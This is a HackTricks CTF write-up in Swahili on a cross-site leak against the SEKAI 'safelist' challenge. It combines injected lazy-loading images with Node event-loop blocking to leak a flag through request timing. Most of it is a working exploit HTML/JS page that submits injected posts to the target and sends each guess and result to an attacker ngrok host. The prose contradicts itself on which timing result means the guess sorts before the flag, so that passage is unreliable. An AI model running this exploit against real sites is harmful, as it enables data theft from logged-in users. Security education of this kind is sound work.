Event Loop Blocking + Lazy images

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Katika udukuzi huu, @aszx87410 anachanganya njia ya upande wa picha za uzembe kupitia kuingiza HTML na aina fulani ya njia ya kuzuia mzunguko wa tukio ili kuvuja herufi.

Hii ni udukuzi tofauti kwa changamoto ya CTF ambayo tayari ilikuwa imezungumziwa katika ukurasa ufuatao. angalia kwa maelezo zaidi kuhusu changamoto:

pageConnection Pool Examples

Wazo nyuma ya udanganyifu huu ni:

Machapisho yanaingizwa kwa herufi kwa utaratibu wa alfabeti
Mshambuliaji anaweza kuingiza chapisho kwa kuanza na "A", kisha tag ya HTML fulani (kama <canvas kubwa) itajaza sehemu kubwa ya skrini na baadhi ya <img lazy tags za kupakia vitu.
Ikiwa badala ya "A" mshambuliaji anaingiza chapisho sawa lakini kuanza na "z", chapisho lenye bendera litatokea kwanza, kisha chapisho lililoingizwa litatokea na "z" ya awali na canvas kubwa. Kwa sababu chapisho lenye bendera limeonekana kwanza, canvas ya kwanza itachukua nafasi yote ya skrini na <img lazy tags za mwisho zilizoingizwa hazitaonekana kwenye skrini, kwa hivyo hazitapakia.
Kisha, wakati boti ina fikia ukurasa, mshambuliaji atatuma ombi za kupata.
Ikiwa picha zilizoingizwa kwenye chapisho zinapakia, ombi za kupata hizi zitachukua muda mrefu, kwa hivyo mshambuliaji anajua kuwa chapisho kipo kabla ya bendera (kwa utaratibu wa alfabeti).
Ikiwa ombi za kupata zina haraka, inamaanisha kuwa chapisho kipo kabla ya bendera kwa utaratibu wa alfabeti.

Hebu angalia nambari:

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>

<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1

// I have omited code here as apparently it wasn't necesary

// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>
</body>
</html>

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF? Angalia MPANGO WA KUJIUNGA!
Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
Pata bidhaa rasmi za PEASS & HackTricks
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au nifuatilie kwenye Twitter 🐦@carlospolopm.
Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye repo ya hacktricks na repo ya hacktricks-cloud.

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Last updated 2 months ago